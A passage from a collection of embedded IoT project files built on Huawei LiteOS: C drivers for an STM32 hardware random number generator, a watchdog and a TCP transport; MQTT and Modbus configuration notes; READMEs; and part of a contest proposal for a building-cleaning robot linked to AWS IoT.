่ฟ‡็จ‹ๆœ‰็‚นๆ…ข๏ผŒ่€ๅฟƒ็ญ‰ๅพ…ไธ€ไผš ้€š่ฟ‡deviceexplorerๅฏ่ง‚ๅฏŸๅˆฐๅ‘้€็š„ๆถˆๆฏ ![](./meta/device-explorer-data.png) ๅœจ azure ้—จๆˆทๅฏ็œ‹ๅˆฐ่ฎพๅค‡็Šถๆ€ ![](./meta/azure-portal-device-explorer.png) ## ๅ…ญใ€็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ่ƒฝๅŠ›ๅฑ•็คบ ๆ—  ## ไธƒใ€่ฏ„ๅฎก้ชŒ่ฏ ### 1. ๆไพ›ไบ‘ๅนณๅฐ่ฏ„ๅฎก่ดฆๅท ็งไธ‹ๆไพ› ### 2. ่ฏ„ๅฎกๆ‰€็”จๅทฅๅ…ทๅŠ่ฝฏไปถ keil mdk525 ้“พๆŽฅ๏ผš<https://pan.baidu.com/s/1XfZbGtjOXCVWT5fIttC4FQ> ๅฏ†็ ๏ผšlfvk ๅ…ถไป–ๅทฅๅ…ท ้“พๆŽฅ๏ผš<https://pan.baidu.com/s/1K2KE99g3mFzjctGeW9OwNg> ๅฏ†็ ๏ผš5q92 **ๆœ€ๅŽ๏ผŒๆ˜ฏไฝฟ็”จ่ฟ‡็จ‹ไธญๅฏนLiteOS็š„ไธ€ไบ›ๅปบ่ฎฎ** - ๆฒกๆœ‰ mailbox API ่ฏดๆ˜Ž๏ผŒๆˆ–่€…่ฏด่ฟ˜ๆฒกๆœ‰ๅฎž็Žฐ mailbox - ้™ๆ€ๅ†…ๅญ˜็š„ API ๅฎž็Žฐๅ’Œๆ–‡ๆกฃ่ฏดๆ˜Žไธไธ€่‡ด - cmsis_os2.h API ๅ’Œ cmsis_os1.h APIไธไธ€่‡ด``` bsp_rng.c ```/** ****************************************************************************** * @file bsp_rng.c * @author ๆธธๅš * @version V1.0 * @date 2015-xx-xx * @brief rngๅบ”็”จๅ‡ฝๆ•ฐๆŽฅๅฃ ****************************************************************************** * @attention * * ๅฎž้ชŒๅนณๅฐ:็ง‰็ซ STM32 F429 ๅผ€ๅ‘ๆฟ * ่ฎบๅ› :http://www.firebbs.cn * ๆท˜ๅฎ :http://firestm32.taobao.com * ****************************************************************************** */ #include "bsp_rng.h" #include "dwt.h" /** * @brief ๅˆๅง‹ๅŒ–็กฌไปถ้šๆœบๆ•ฐrng * @param ๆ—  * @retval ๆ—  */ int RNG_Config(void) { uint32_t retry = 0; /* ไฝฟ่ƒฝRNGๆ—ถ้’Ÿ */ RCC_AHB2PeriphClockCmd(RCC_AHB2Periph_RNG, ENABLE); /* ไฝฟ่ƒฝRNGๅค–่ฎพ */ RNG_Cmd(ENABLE); /* ็ญ‰ๅพ…้šๆœบๆ•ฐไบง็”ŸๅฎŒๆฏ• */ while(RNG_GetFlagStatus(RNG_FLAG_DRDY)== RESET && (retry < 10000)) { retry++; Delayus(100); } if(retry >= 10000) { return -1; } return 0; } uint32_t RNG_Get_RandomNum(void) { uint32_t random; while(RNG_GetFlagStatus(RNG_FLAG_DRDY)== RESET); /*่Žทๅ–้šๆœบๆ•ฐ*/ random = RNG_GetRandomNumber(); printf("\r\nRNG:%08x",random); return random; } int RNG_Get_RandomRange(int min,int max) { return RNG_Get_RandomNum()%(max - min + 1) + min; } /*********************************************END OF FILE**********************/ ``` README.md ```# Tools for liteos tencentcloud - **UsrName_Psk.py**๏ผš ่พ“ๅ…ฅไบงๅ“IDใ€่ฎพๅค‡ๅ็งฐๅ’Œๅฏ†้’ฅ๏ผŒ่‡ชๅŠจ็”ŸๆˆClient IDใ€User Nameๅ’ŒPassword๏ผŒ่ฏทไฝฟ็”จPython2.7่ฟ่กŒใ€‚ - **App.py**๏ผšๆŽฅๅ…ฅ่…พ่ฎฏไบ‘ๆถˆๆฏ้˜Ÿๅˆ—๏ผŒ็”จไปฅ็‰ฉ่”็ฝ‘ๆ•ฐๆฎ็š„ๆŽฅๆ”ถๅ’ŒๆŽงๅˆถๅ‘ฝไปคไธ‹ๅ‘๏ผŒTo be continued... ``` wdt.c ```#define _WDT_C_ #include "sys1.h" void IwdgConfiguration(void) { /* ๅ†™ๅ…ฅ0x5555,็”จไบŽๅ…่ฎธ็‹—็‹—ๅฏ„ๅญ˜ๅ™จๅ†™ๅ…ฅๅŠŸ่ƒฝ */ IWDG_WriteAccessCmd(IWDG_WriteAccess_Enable); /* ็‹—็‹—ๆ—ถ้’Ÿๅˆ†้ข‘,40K/256=156HZ(6.4ms)*/ IWDG_SetPrescaler(IWDG_Prescaler_256); /* ๅ–‚็‹—ๆ—ถ้—ด 640MS .ๆณจๆ„ไธ่ƒฝๅคงไบŽ0xfff*/ IWDG_SetReload(100); /* ๅ–‚็‹—*/ IWDG_ReloadCounter(); /* ไฝฟ่ƒฝ็‹—็‹—*/ IWDG_Enable(); } void WdtClr(void) { IWDG_ReloadCounter(); } /*ๆจกๅ—็ป“ๆž„ไฝ“ๅˆๅง‹ๅŒ–*/ void WdtStructInit(void) { } /*ๆจกๅ—ๅˆๅง‹ๅŒ–*/ void WdtInit(void) { WdtStructInit(); IwdgConfiguration(); } ``` ้…็ฝฎ่ฏดๆ˜Ž.md ``` 1. lwip-1.4.1\src\include\lwip\opt.h ๆ‰“ๅผ€ๆˆ–ๅ…ณ้—ญ lwip ็›ธๅ…ณ็š„ traceใ€‚ 2. MQTT 2.1 Topic /a1TkfITEEOu/Tian_Motor/update/state : - ๅ‘ๅธƒ๏ผŒ็”ตๅŠจๆœบ็š„ๅทฅไฝœ็Šถๆ€ใ€‚ JSON๏ผš {"attr_name":"state", "attr_value":"7"} ๅฏนๅบ” C ไปฃ็ ๏ผš snprintf(msg_pub, sizeof(msg_pub), "{\"attr_name\":\"state\", \"attr_value\":\"%d\"}", ่ฟ่กŒ็Šถๆ€ๅ˜้‡); 2.2 ClientID ไฝฟ็”จ MQTT.fx ๅœจๅผ€ 2 ไธชๅฎขๆˆท็ซฏไฝฟ็”จ็›ธๅŒ็š„ ClientID ่ฟžๆŽฅ Aliyun MQTT๏ผˆBase็‰ˆ๏ผ‰ๆ—ถไผšๅ‡บ็Žฐๅ…ˆๅ‰ๅทฒ็ป่ฟžๆŽฅ็š„ MQTT ๅฎขๆˆท็ซฏ ๆމ็บฟ๏ผŒๆˆ–่€…่ฟ™ 2 ไธชๅฎขๆˆท็ซฏ้ƒฝไธ่ƒฝๆญฃๅธธๅทฅไฝœ็š„ๆƒ…ๅ†ต๏ผŒๅฏไปฅ่ง‚ๅฏŸ MQTT.fx ็š„Logไฟกๆฏใ€‚ 3. Modbus ้€š่ฎฏ 3.1 LiteOS ไฝœไธบไธปๆœบ๏ผŒไผšไธปๅŠจไธ‹ๅ‘่ฏทๆฑ‚็Šถๆ€็š„ไฟกๆฏ๏ผš a.็”ตๅŠจๆœบ่ฟ่กŒ็Šถๆ€๏ผŒ่ฟ่กŒorๅœ่ฝฆ๏ผŒ2ไธชByte๏ผ›ๅŠŸ่ƒฝ็  0x03๏ผŒ็ฑปๅˆซ 0x06๏ผŒ่ตทๅง‹ๅœฐๅ€ 0x00๏ผŒ่ฏป1ไธชๅฏ„ๅญ˜ๅ™จ; LiteOS->Motor : 0x01 03 06 00 00 01 84 82 // ๅฌๅ”ค็”ตๅŠจๆœบ่ฟ่กŒ็Šถๆ€ Motor->LiteOS : 0x01 03 03 06 00 03 E5 8E // ไปŽๆœบๅ›žๅค็”ตๅŠจๆœบๅค„ไบŽ่ฟ่กŒๆ€็š„ๆŠฅๆ–‡ 0x00 03 ๏ผŒๅ…ถไธญ 0xE5 8Eๆ˜ฏCRC16ๆ ก้ชŒ็  4. RJ45่Žทๅพ—IPๅœฐๅ€ 4.1 ็จ‹ๅบไธญๅทฒ็ปไฝฟ็”จDHCP่Žทๅพ—ipๅœฐๅ€๏ผ›ไนŸๅฏไปฅdisable DHCPไปŽ่€Œไฝฟ็”จ้™ๆ€IPๅœฐๅ€ใ€‚ 4.2 ็จ‹ๅบไธญไปฅๅŠไฝฟ็”จไบ† DNS ๏ผŒ็”จไบŽ้€š่ฟ‡ MQTT Broker ๅŸŸๅ่Žทๅพ— IPใ€‚ 5. LED ๆŒ‡็คบ็ฏ 5.1 ๆ—  ModbusๆŠฅๆ–‡ๅค„็†ใ€ๆ— MQTTๆ•ฐๆฎๅค„็†ๆ—ถ๏ผŒ็บข่‰ฒLEDไบฎใ€‚ 5.2 ๆœ‰ModbusๆŠฅๆ–‡ๅค„็†ๆ—ถ๏ผŒ็ปฟ่‰ฒLEDๅธธไบฎใ€‚ 5.3 MQTT Task่ฟ่กŒๆ—ถ๏ผŒ่“่‰ฒLEDๅธธไบฎใ€‚ 6. Aliyun ่ง„ๅˆ™ๅผ•ๆ“Ž 6.1 ่ง„ๅˆ™ๆŸฅ่ฏข่ฏญๅฅ SELECT deviceName() as deviceName, attribute('tag') as tag, attribute('DeviceSN') as isn, attr_name, attr_value, timestamp('yyyy-MM-dd HH:mm:ss') as time FROM "/a1TkfITEEOu/Tian_Motor/update/state" 7. ๆ–ฐๅˆถ้€ IOT๏ผš็”ตๅŠจๆœบ็Šถๆ€ไฟกๆฏ็‰ฉ่”็ฝ‘ๅบ”็”จ 7.1๏ผ‰ๆŽฅๅ…ฅๅ่ฎฎ๏ผšTCP+MQTT ๆŽฅๅ…ฅๆ–นๅผ๏ผšไปฅๅคช็ฝ‘ใ€‚ ``` oneNetConnect.h ```#ifndef _ONENETCONNECT_H_ #define _ONENETCONNECT_H_ #endif ``` README.md ```## ็ฎ€ไป‹ ๆœฌ้กน็›ฎไฝฟ็”จๅŽไธบ็‰ฉ่”็ฝ‘ๆ“ไฝœ็ณป็ปŸHuawei LiteOS่ฟ›่กŒ่ฝฏไปถๅผ€ๅ‘๏ผŒๆš‚ๆ—ถ็›ฎๆ ‡ๆ˜ฏ็งปๆคๆœ€ๆ–ฐ็š„lwipๅ่ฎฎๆ ˆ2.0๏ผŒ็„ถๅŽ่ฟ่กŒhttpserverใ€‚ ## Huawei LiteOSๅŸบ็ก€ๅ†…ๆ ธ ๅŽไธบ็‰ฉ่”็ฝ‘ๆ“ไฝœ็ณป็ปŸHuawei LiteOSๆ˜ฏๅŽไธบ้ขๅ‘็‰ฉ่”็ฝ‘้ข†ๅŸŸๅผ€ๅ‘็š„ไธ€ไธชๅŸบไบŽๅฎžๆ—ถๅ†…ๆ ธ็š„่ฝป้‡็บงๆ“ไฝœ็ณป็ปŸใ€‚ๆœฌ้กน็›ฎๅฑžไบŽๅŽไธบ็‰ฉ่”็ฝ‘ๆ“ไฝœ็ณป็ปŸ๏ผŒ็›ฎๅ‰ไป…ๅผ€ๆบๅŸบ็ก€ๅ†…ๆ ธ๏ผŒๅŒๆ—ถ้€‚้…ไบ†STM32F412/F429/L476ๅŠGD32F190/F450ๅผ€ๅ‘ๆฟ๏ผŒๅŽ็ปญไผšๅผ€ๆ”พๅ…ถไป–็‰นๆ€งๅŒๆ—ถๆ”ฏๆŒๅ…ถไป–็ฑปๅž‹ๅผ€ๅ‘ๆฟใ€‚็Žฐๆœ‰ไปฃ็ ๆ”ฏๆŒไปปๅŠก่ฐƒๅบฆ๏ผŒๅ†…ๅญ˜็ฎก็†๏ผŒไธญๆ–ญๆœบๅˆถ๏ผŒ้˜Ÿๅˆ—็ฎก็†๏ผŒไบ‹ไปถ็ฎก็†๏ผŒIPCๆœบๅˆถ๏ผŒๆ—ถ้—ด็ฎก็†๏ผŒ่ฝฏๅฎšๆ—ถๅ™จไปฅๅŠๅŒๅ‘้“พ่กจ็ญ‰ๅธธ็”จๆ•ฐๆฎ็ป“ๆž„ใ€‚ ### ๅผ€ๅ‘ๆฟ็ฑปๅž‹ * GD32F207C-EVAL ## LiteOS ็ณป็ปŸๅˆๅง‹ๅŒ–ๆต็จ‹ ![](./doc/LiteOS_System_initialization.png) 1. liteos 2. mqtt server 3. mqtt web client 4. mqtt electron desktop app 5. weapp ๅพฎไฟกๅฐ็จ‹ๅบ ## ๅผ€ๆบๅ่ฎฎ * ้ตๅพชMITๅผ€ๆบ่ฎธๅฏๅ่ฎฎ ``` wdt.h ```/* *********************************************************************************** * *ๅŠŸ่ƒฝ๏ผš * * * *่ฏดๆ˜Ž๏ผš1. * 2. * 3. * * *By :Liubing๏ผˆๅผ€ๅฟƒๅฐฑๅฅฝ๏ผ‰ *Contact :371007204@qq.com *History :2015/2/27 8:39:52 *********************************************************************************** */ #ifndef _WDT_H_ #define _WDT_H_ #include "lb_type.h" #ifdef _WDT_C_ #define WDT_EXT #else #define WDT_EXT extern #endif #ifdef _WDT_C_ #endif typedef struct { INT8U status; }WdtStruct; WDT_EXT WdtStruct WdtData; WDT_EXT void WdtInit(void); WDT_EXT void WdtClr(void); #endif ``` README.md ```# Pictures for liteos tencentcloud ``` transport.c ```/*********************************************Copyright (c)*********************************************** ** Wuhan CCEM ** **--------------File Info--------------------------------------------------------------------------------- ** File name: ** Latest modified Date: ** Latest Version: ** Descriptions: ** **-------------------------------------------------------------------------------------------------------- ** Created by: shhuang ** Created date: 2018-05-11 ** Version: V1.0 ** Descriptions: The original version ** **-------------------------------------------------------------------------------------------------------- ** Modified by: ** Modified date: ** Version: ** Descriptions: ** *********************************************************************************************************/ /******************************************************************************************************** ** Includes *********************************************************************************************************/ #include "transport.h" #include "tcp_echoclient.h" void transport_open(void) { /*connect to tcp server */ tcp_connet_creat(); } void transport_close(void) { tcp_connet_close(); } void transport_sendPacketBuffer(unsigned char* buf, int buflen) { send_tcp_data(buf,buflen); } int transport_getdata(unsigned char* buf, int count) { return receive_tcp_data(buf,count); } /********************************************************************************************************* END FILE *********************************************************************************************************/ ``` readme.md ```# ๆฅผๅฎ‡ๆธ…ๆดๅฐ็ฎกๅฎถ **ๅกซๅ†™่ฏดๆ˜Ž๏ผš** ย  - ่ฏทๆŒ‰็…งๆจกๆฟ่ฆๆฑ‚ๅกซๅ†™ๅ„้กนๅ†…ๅฎนใ€‚ - ๆ–นๆกˆไฝœไธบ่ฏ„ๆฏ”ไธป่ฆไบคไป˜ไปถไน‹ไธ€๏ผŒ่ฏทๅฐฝ้‡ๅšๅˆฐๅ†…ๅฎนๅฎŒๆ•ดใ€ๅ›พๆ–‡ๅนถ่Œ‚ใ€้€šไฟ—ๆ˜“ๆ‡‚ใ€ๆ€่ทฏๆธ…ๆ™ฐใ€‚ - ้กน็›ฎๆ–นๆกˆไธญ็ฌฌไธ€ๆฌกๅ‡บ็Žฐๅค–ๆ–‡ๅ่ฏๆ—ถ๏ผŒ่ฆๅ†™ๆธ…ๅ…จ็งฐๅ’Œ็ผฉๅ†™๏ผŒๅ†ๅ‡บ็ŽฐๅŒไธ€่ฏๆ—ถๅฏไปฅไฝฟ็”จ็ผฉๅ†™ใ€‚ ไธ€ใ€่ƒŒๆ™ฏๅ’Œไป‹็ป ============== 1ใ€ๅ…ฌๅธ/ๅ›ข้˜Ÿไป‹็ป ---------------- ๏ผˆ1๏ผ‰่ฏทๆ‚จ็ฎ€่ฆไป‹็ปไธ‹่ดตๅ…ฌๅธ๏ผˆๆˆ–่€…ๅผ€ๅ‘ๅ›ข้˜Ÿ๏ผ‰๏ผŒๆ‰€ไปŽไบ‹็š„่กŒไธšใ€ไธป่ฆไบงๅ“ๅ’Œไผ˜ๅŠฟ็ญ‰ใ€‚ - ไธญ็ง‘้™ข่‡ชๅŠจๅŒ–็ ”็ฉถๆ‰€่ฟœ็จ‹ๆ™บ่ƒฝๅŒป็–—ๅ›ข้˜Ÿ๏ผŒไปฅๅ‘ๅฑ•็ฌฌไธ‰ไปฃ่ฟœ็จ‹ๅŒป็–—ไธบ็›ฎๆ ‡๏ผŒๅผ€ๅฑ•ๆ™บ่ƒฝๅŒ–่ฟœ็จ‹ๅŒป็–—ๅ…ณ้”ฎๆŠ€ๆœฏ็ณป็ปŸ็ ”็ฉถ๏ผŒไธป่ฆ็ ”็ฉถๆ–นๅ‘ไธบ๏ผšๆ™บ่ƒฝ็‰ฉ่”็ฝ‘ๅนณๅฐใ€ๆŸ”ๆ€งๆœๅŠกๆœบๆขฐ่‡‚ใ€ๆ™บ่ƒฝๅฃฐๅ›พๆ–‡ๅค„็†ใ€็ณปๅˆ—ๅŒ–ๅŒป็–—ๆœๅŠกๆœบๅ™จไบบใ€‚ - ๆธธๅš๏ผŒๅตŒๅ…ฅๅผ่ฝฏไปถๅทฅ็จ‹ๅธˆ๏ผŒ่ดŸ่ดฃ็‰ฉ่”็ฝ‘็ฝ‘็ปœ้€šไฟกๅ’Œๆœบๅ™จไบบ่ฏญ้Ÿณ่ฏ†ๅˆซใ€ๅฏผ่ˆชๅฎšไฝ็›ธๅ…ณ่ฏพ้ข˜็ ”็ฉถๅ’Œ็ณป็ปŸ่ฎพ่ฎกใ€‚ 2ใ€้กน็›ฎไป‹็ป ----------- **้กน็›ฎ็ฎ€ไป‹๏ผš** ็ฎ€่ฆไป‹็ปๅ‚ไธŽๆœฌๆฌกๆดปๅŠจๆ‰€ๅผ€ๅ‘็š„้กน็›ฎๆˆ็†Ÿๅบฆ๏ผŒๅฆ‚๏ผš็บฏๅˆ›ๆ„้˜ถๆฎตใ€ๆญฃๅœจ่ฟ›่กŒ้œ€ๆฑ‚่ฐƒ็ ”ใ€ๅทฒๅฎŒๆˆๅŠŸ่ƒฝ่ฎพ่ฎกใ€ๅทฒๅฎŒๆˆๅˆๆญฅๅผ€ๅ‘ใ€ๅทฒๅฎŒๆˆๅŽŸๅž‹่ฎพ่ฎกใ€ๅทฒๅฎŒๆˆ็ฌฌไธ€็‰ˆไบงๅ“ๆˆ–่งฃๅ†ณๆ–นๆกˆใ€ๆญฃๅœจ่ฟ›่กŒ่ฏ•็”จ็ญ‰ใ€‚ ๏ผˆ1๏ผ‰็ฎ€่ฆ้˜่ฟฐๅ‚ไธŽๆœฌๆฌกๆดปๅŠจๆ‰€ๅผ€ๅ‘็š„้กน็›ฎ็š„่กŒไธš็Žฐ็Šถ๏ผŒๅŒ…ๆ‹ฌๅธ‚ๅœบไธŠ็š„ไธปๆตๆŠ€ๆœฏ๏ผŒๆถŒ็Žฐๅ‡บ็š„ๆ–ฐๆŠ€ๆœฏ๏ผŒๆœชๆฅ็š„ๅ‘ๅฑ•่ถ‹ๅŠฟใ€‚ - ๆฅผๅฎ‡ๆธ…ๆดๅฐ็ฎกๅฎถ้กน็›ฎๅฑžไบŽๆœฌไบบ็š„ๅˆ›ๆ„้กน็›ฎ๏ผŒ็›ฎๅ‰ๅค„ไบŽ็บฏๅˆ›ๆ„้˜ถๆฎตใ€‚ - ๆฅผๅฎ‡ๆธ…ๆดๅฐ็ฎกๅฎถๆ˜ฏไธ€ไธชๆ™บ่ƒฝๆœบๅ™จไบบ๏ผŒ้€š่ฟ‡ๅฎ‰่ฃ…ๅœจๅžƒๅœพๆกถไธŠ็š„ไผ ๆ„Ÿๅ™จ๏ผŒ้‡‡้›†ๅžƒๅœพๆกถๅผ‚ๅ‘ณใ€ๆ˜ฏๅฆๅทฒๆปก็ญ‰็Šถๆ€๏ผŒๅนถไผ ่พ“ๅˆฐ็‰ฉ่”็ฝ‘ไบ‘ๅนณๅฐ๏ผŒๅนถ่งฆๅ‘ๆฅผๅฎ‡ๆธ…ๆดๅฐ็ฎกๅฎถ๏ผˆๆœบๅ™จไบบ๏ผ‰่ฟ›่กŒ่‡ชๅŠจ่ทฏๅพ„่ง„ๅˆ’๏ผŒๅฎŒๆˆๅ€’ๅžƒๅœพๅนถๅฐ†ๅžƒๅœพๆกถๅฝ’ไธบๅŽŸไฝๅŠจไฝœใ€‚ ๏ผˆ2๏ผ‰ๅบ”็”จๅœบๆ™ฏ๏ผšๆœฌ้กน็›ฎ้ขๅ‘็š„ๅธ‚ๅœบ้œ€ๆฑ‚๏ผŒ่กŒไธš็Žฐ็Šถ๏ผŒๅบ”็”จๅœบๆ™ฏๅ’Œ็”จๆˆทๅฏน่ฑก็ญ‰ใ€‚ - ็Žฐ็›ฎๅ‰ๅ„ๅŠžๅ…ฌๆฅผๅฎ‡ไธญ้€šๅธธๆฏๅฑ‚้…ๅค‡ๅ‡ ๅๆœๅŠกไบบๅ‘˜๏ผŒๅˆ†ๅˆซ่ดŸ่ดฃๅŠžๅ…ฌๅŒบๅŸŸใ€ๅŽ•ๆ‰€ๅŒบๅŸŸ็ญ‰ๅœฐ็š„ๆธ…ๆดๅทฅไฝœ๏ผŒ้€šๅธธๆธ…ๆดไบบๅ‘˜้œ€่ฆ้ข‘็นๆŸฅ่ฏขๅžƒๅœพๆกถ็Šถๅ†ตไปฅๅŠๆ—ถๆธ…็†๏ผŒๅทฅไฝœๆ•ˆ็އไฝŽไธ‹ใ€‚ - ๆฅผๅฎ‡ๆธ…ๆดๅฐ็ฎกๅฎถไธป่ฆๆ˜ฏไธบไบ†ๆ›ฟไปฃไฝŽๅฑ‚ๆฌกๆœๅŠกไบบๅ‘˜้‡ๅคๅŠณๅŠจ๏ผŒๅบ”็”จไบŽๅคงๅž‹ๅŠžๅ…ฌๅ†™ๅญ—ๆฅผ็ญ‰ๅœฐๆ–น๏ผŒๅ‡ๅฐ‘ๅป‰ไปทๅŠณๅŠจๅŠ›ๅผ€ๆ”ฏใ€‚ ๏ผˆ3๏ผ‰ๆฆ‚่ฟฐๆœฌ้กน็›ฎ่ฎพ่ฎก็‰น็‚นไธŽไบฎ็‚น๏ผŒๅŒ…ๆ‹ฌไฝ†ไธ้™ไบŽๅˆ›ๆ„ๆ–ฐ้ข–ๆ€งใ€่ฎพ่ฎก็‹ฌ็‰นๆ€งๅˆ†ๆž็ญ‰ๅ†…ๅฎนใ€‚ - ไธๆ˜ฏๅ•็บฏ็š„่ฎพ่ฎกๆ™บ่ƒฝๅžƒๅœพๆกถ๏ผŒไนŸไธ้œ€่ฆๆธ…ๆดไบบๅ‘˜ๅœจไบ‘ๅนณๅฐ็›‘ๆŽงๅ„ไธชๅžƒๅœพๆกถ็Šถๅ†ตๅนถๅค„็†๏ผŒ่€Œๆ˜ฏไปŽๆ„Ÿ็Ÿฅๅˆฐ่‡ชๅŠจๅค„็†ๅฝขๆˆ้—ญ็Žฏ๏ผŒๆฅผๅฎ‡ๆธ…ๆดๅฐ็ฎกๅฎถ่‡ชๅŠจๅฎŒๆˆ๏ผŒไธ็”จไบบๅทฅๅนฒๆถ‰๏ผŒ็œŸๆญฃๅฎž็Žฐๅป‰ไปทๅŠณๅŠจ็š„่งฃๆ”พใ€‚ - ็›ฎๅ‰ๅชๆ˜ฏๆถ‰ๅŠๅˆฐๅžƒๅœพๆกถ๏ผŒๅŽ็ปญๅฏไปฅ้’ˆๅฏนๆฅผๅฎ‡ไธญๅ…ถไป–่ฎพๆ–ฝ๏ผŒ่ฟ›่กŒๆ‰ฉๅฑ•ใ€‚ ๏ผˆ4๏ผ‰ๅธ‚ๅœบๅ‰ๆ™ฏๅˆ†ๆž๏ผŒๅ•†ไธšๆˆ–ๅบ”็”จๆจกๅผ๏ผŒ้กน็›ฎ่ฎกๅˆ’ๅŠๅฏ่กŒๆ€งๅˆ†ๆž็ญ‰่กฅๅ……ๅ†…ๅฎนใ€‚ - ้š็€ๆœๅŠกๆœบๅ™จไบบใ€็‰ฉ่”็ฝ‘็ญ‰็›ธๅ…ณๆŠ€ๆœฏ็š„ๅ‘ๅฑ•๏ผŒไปฅๅŠ็‰ฉ็‰ฉ็›ธ่ฟž็š„่ฟซๅˆ‡้œ€ๆฑ‚๏ผŒ่ฎพ่ฎก่ƒฝๅคŸๆ›ฟไปฃๅป‰ไปทๅŠณๅŠจไบบๅ‘˜็š„ๆœๅŠกๆœบๅ™จไบบ๏ผŒๅนถไธŽ่พน็ผ˜่ฎพๅค‡ไบ’่”ไบ’้€š๏ผŒๅฎž็Žฐๆ™บ่”็ฝ‘ๆ˜ฏๆœชๆฅ็š„ๅ‘ๅฑ•่ถ‹ๅŠฟใ€‚ ไบŒใ€้กน็›ฎๅ†…ๅฎน ============ 1ใ€ๆ–นๆกˆ่ฏดๆ˜Ž ----------- ๏ผˆ1๏ผ‰้กน็›ฎ๏ผˆไบงๅ“๏ผ‰ๅŠŸ่ƒฝ่ฏฆ็ป†่ฏดๆ˜Žใ€‚ - ๅžƒๅœพๆกถๅฎ‰่ฃ…ๆฐ”ๅ‘ณใ€็บขๅค–ไผ ๆ„Ÿๅ™จ๏ผŒๆฃ€ๆต‹ๅžƒๅœพๅผ‚ๅ‘ณๅ’Œๆ˜ฏๅฆๅทฒๆปก็Šถๆ€๏ผŒๅนถไธŠไผ ่‡ณ็ฝ‘ๅ…ณใ€‚ - ็ฝ‘ๅ…ณๅฐ†ๆฏไธ€ๅฑ‚ๆฅผๆ‰€ๆœ‰ๅžƒๅœพๆกถไฟกๆฏไธŠไผ ่‡ณไบ‘ๅนณๅฐใ€‚ - ๆฅผๅฎ‡ๆธ…ๆดๅฐ็ฎกๅฎถไปŽไบ‘ๅนณๅฐ่Žทๅ–ๆฅผๅฎ‡ไธญๆ‰€ๆœ‰ๅžƒๅœพๆกถ็Šถๆ€๏ผŒๅฏนไบŽ้œ€่ฆๆธ…ๆด็š„ๆŸไธ€ไธชๅžƒๅœพๆกถไบˆไปฅๅŠๆ—ถๅ“ๅบ”ใ€‚ ๆ‹“ๆ‰‘็ป“ๆž„ๅฆ‚ไธ‹ๅ›พๆ‰€็คบ๏ผš ![](http://osjn6k0nm.bkt.clouddn.com/%E6%8B%93%E6%89%91%E7%BB%93%E6%9E%84.png) ๏ผˆ2๏ผ‰IoTๅนณๅฐๅฏนๆŽฅๆ–นๆกˆ่ฏฆ็ป†่ฏดๆ˜Žใ€‚ๅŒ…ๆ‹ฌๅฏนๆŽฅ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ็š„ๅ่ฎฎใ€ๆŽฅๅ…ฅๆ–นๅผ๏ผŒๅฏนๆŽฅ็š„ๅŠŸ่ƒฝๆžถๆž„็ญ‰๏ผˆๅนถ้™„ไธŠ็›ธๅ…ณๅ›พ็คบ๏ผ‰ใ€‚ - ๅฏนๆŽฅAWS IOTไบ‘ๅนณๅฐใ€‚ - ๅฏนๆŽฅๅ่ฎฎไธบMQTT+TLS - ๆŽฅๅ…ฅๆ–นๅผ๏ผšๅžƒๅœพๆกถๅ’Œ็ฝ‘ๅ…ณไน‹้—ด็”จWiFi/zigbee็ญ‰ๆ— ็บฟ้€šไฟก๏ผŒ็ฝ‘ๅ…ณๅ’Œไบ‘ๅนณๅฐไน‹้—ด็”จไปฅๅคช็ฝ‘๏ผŒๆœบๅ™จไบบๅ’Œไบ‘ๅนณๅฐไน‹้—ด็”จWiFiใ€‚ ๏ผˆ3๏ผ‰ๆ‰€ๅฏนๆŽฅ็š„็ฌฌไธ‰ๆ–นIoTไบ‘ๅนณๅฐ็š„็ฎ€ไป‹ใ€‚็ฎ€่ฟฐ่ฏฅๅนณๅฐ็š„็‰น็‚นไธŽไผ˜ๅŠฟใ€‚ - ไบš้ฉฌ้€ŠAWS(Amazon Web Services (AWS))ๆ˜ฏไบš้ฉฌ้€Šๆไพ›็š„ไธ“ไธšไบ‘่ฎก็ฎ—ๆœๅŠกใ€‚ๅœจ็‰ฉ่”็ฝ‘ๆ–น้ขๆไพ›AWS IOT coreใ€AWS greengrassใ€AWS freeRTOS็ญ‰ๅคšไธช็‰ฉ่”็ฝ‘ไบงๅ“ใ€‚่ฟ™้‡ŒๅฏนๆŽฅ็š„ๆ˜ฏAWS IOT coreใ€‚ๅ…ถๅŒ…ๅซ่บซไปฝ้ชŒ่ฏๆŽˆๆƒใ€่ง„ๅˆ™ๅผ•ๆ“Žใ€่ฎพๅค‡ๅฝฑๅญ็ญ‰ๅŠŸ่ƒฝใ€‚ - ๅ›ฝๅ†…ๅค–ๅ„ๅ…ฌๅธ่ฟ‘ไธคๅนดๆŽจๅ‡บ่ฎธๅคš็‰ฉ่”็ฝ‘ๅนณๅฐ๏ผŒAWS IOTๆฏ”้˜ฟ้‡Œใ€่…พ่ฎฏใ€็™พๅบฆ็›ธๅ…ณ็‰ฉ่”็ฝ‘ๅนณๅฐๆ›ดๆ—ฉๅ‡บ็Žฐใ€‚็›ธๅ…ณๆฏ”่พƒๅ‚่€ƒ[ๅ›ฝๅ†…ๅค–็‰ฉ่”็ฝ‘ๅนณๅฐๅˆๆŽข็ณปๅˆ—][1]ใ€‚ - AWS IOTๆไพ›ไบ†ๅŸบไบŽๅคš็งๅนณๅฐ็š„SDK๏ผŒๅŒ…ๆ‹ฌAndroidใ€ๅตŒๅ…ฅๅผCใ€iOSใ€Javaใ€Javascriptใ€Python็ญ‰๏ผŒๆ–นไพฟๅˆ›ๅปบ็ฝ‘้กตใ€app็ญ‰ๅบ”็”จ็จ‹ๅบใ€‚ [1]: https://mp.weixin.qq.com/s/12cisL_oqp8BI5udhXX1hQ 2ใ€็กฌไปถๆ–นๆกˆ ----------- ่ฏฆ็ป†ไป‹็ปๆœฌ้กน็›ฎ็š„็กฌไปถๆ–นๆกˆ๏ผŒๅŒ…ๆ‹ฌไฝ†ไธ้™ไบŽ็กฌไปถๆžถๆž„ใ€็กฌไปถๅˆ—่กจใ€็”ตๆฐ”ๅŽŸ็†ๅ›พ็ญ‰๏ผˆๅนถ้™„ไธŠ็›ธๅ…ณๅ›พ็คบ๏ผ‰ใ€‚ - ๆœฌ้กน็›ฎๆš‚ๆ—ถๆฒกๆœ‰ๆถ‰ๅŠ็ฝ‘ๅ…ณๅ’Œๆœบๅ™จไบบ๏ผŒ็›ดๆŽฅๅฐ†ๅžƒๅœพๆกถๆ•ฐๆฎ้€š่ฟ‡็ฝ‘็ปœไผ ่พ“ๅˆฐไบ‘ๅนณๅฐใ€‚ - 